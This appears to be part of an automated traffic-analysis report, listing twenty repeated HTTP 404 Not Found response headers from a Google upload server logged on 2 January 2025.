Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC60WqUBZlITxNll8nNf3UgGDV05Vo-oGYVPHPT0dl15AZ0NAcarW9RY2A4Ngn01qh8MContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:35 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-cBeRWxMAjcv11AwcgC91wA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7O8rHBKCL1JXEjim3H4YXMNirMGtxtqf0aplSFx1oLMmr1JKNahyehlCAfyL7WrFFU90lM5pUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:35 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Ygd-RPzMWgzawqXrJWepYg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Y5Fmsj3X4SLhUK-DQUgddrBp2760EYpTCxg5F7xCzb-qmY1yZJNHbwZHx3fOTS6S9Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:37 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-btzGEGCCUWAYhb5AxIu9Yw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7EaRT204HJ05BphGdNU5qEImO3w-D9msurg79pme6ls1Fe9ncNj9LyGXzuAw1cDYwLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:38 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-UsSxm5_FU0y6g_GVfy2B0g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6xrbZX3njmiqe-oW_1-0PUjQNjrGh6mReeLjm4cMxqCRz7nd506_lb_cz-pbtXXTNjContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:39 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-VthMHR-KTZ_FDh9rPt0pRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4XTton58VmkmAdfp6MqBmf6UYwPENCL6fTrAq-2l1d12LkJBwPc3eeTbm3aFLugQvj5yXAGWsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:39 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JzWfl7rv2hP5hnJIC3aFgA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4vZ4ZAvD8WDOZJG3GDUrHfU51PPFapTJyK6tKGRaE5NkWws_M3TiFu6bnBzQky5ZQDLL48grQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:40 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce--n2OGSrYdZ_vRuALiVptGg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5rAuC6OPRtuvj4ufijylfpdBfQSLl_2LxQujk1BbXGy7QrBV_gYOTaopVxw38n80rNknxrOm8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:42 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-DFzvJnAJxTfhvSsngRusPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6c389yRC9jgAnJuizgHDjdtUEg825IPBGdhyPBxn55DMoFQBjbaw8RY-tLl5My71A6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:42 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-imnkTUiKSFjU7r00iw1d9A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7kSfA0wbYMVjio-AzZ8tneh6MW2HrdIm-o3tUs8dem0gDBiKi9OUWDdiuvex8fWBXaLEecv60Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:43 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-LBvyxlLNATHWWKCT-CkkWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7nR_If_9e4Xn7RaVasxHs6yI9voEjEBHU3EWKmBynULKfv8vwWkroWr7fDXAL57IAz5d2emQMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:44 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-1-9ET1-dbOO1ytGSDq-cIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4UklVN9SR5PwtsGrKEl6Jhcmlj5GpolyS4eCHo8jD3L09DzDEDdw9TWuxOYGtXJtdk_ckMo-sContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:46 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-tA9LDSWiPUJhgQC-ltUFdQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Ob07Nj7v7dgeoDj-2JVDXyY1u0rP0ja6I8Pz9d6XRk80B3L00CrWx4xdHH4AIM2eRContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:46 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Lwwgl1IAEcc60zT2O9bRpg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6_0AGYMBjiXMFd6TwTkDCnPSQ74AE7m-qmCKXAUq8fhvsmLEoggtoVpVCeJVW86CzKContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:47 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-gNCI-alLHsb_D-PxYNc_QQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6Tx7_thS32V8HZAHi4LS4YteYDbxj1sQgOhMzHr1lU5qgM7xbmYd5ROteKfryqIbM0HU4hQGYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:47 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-Uh7SFcXHm7jfPny64_ZuSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5lU8uC96EB7rTKlJhufgJbUjGOkyj_RZOz-IIl21RMYNIc77rir5Mvu2Md1VU8PEeXXllGl-4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:50 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce--tL92VARK0M563EQZ6DEBA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7LzN0wDtTgaaGvnHjby1tQvB3uzX2v-EXIKArQknUjeVyt0BklsDjjjTGvw_cYFxnaf_ZKjwkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:50 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-3Q4UXH8XC3tcOsk7tdPrwQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC44HRwgY_RyHyhUubtK8eQL8l7Lqp3c5RD-uKy1_6zdR3bGhW1dSzC5x9fNgWFLEw0pLZ1tPqQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:51 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-1GCxfl7QRrqAnIuv6OVRPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5MDV6zHK_8MW4CeTSmAghUdzKUJJ1ygzzcf9UUXhmNUopEf6OwdyRDO7oWOTy9u_bGContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:51 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JFDCOU5rfZERPCFt1L6H6A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4pJF5E7N14CAHEOi8ukzyyDWV6LS3TK_U2AZKmKK0UzvPOvW5Pkc6whTSTHu0h_bvwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:54 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JjDg2yKesir_Ssj-OouClg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
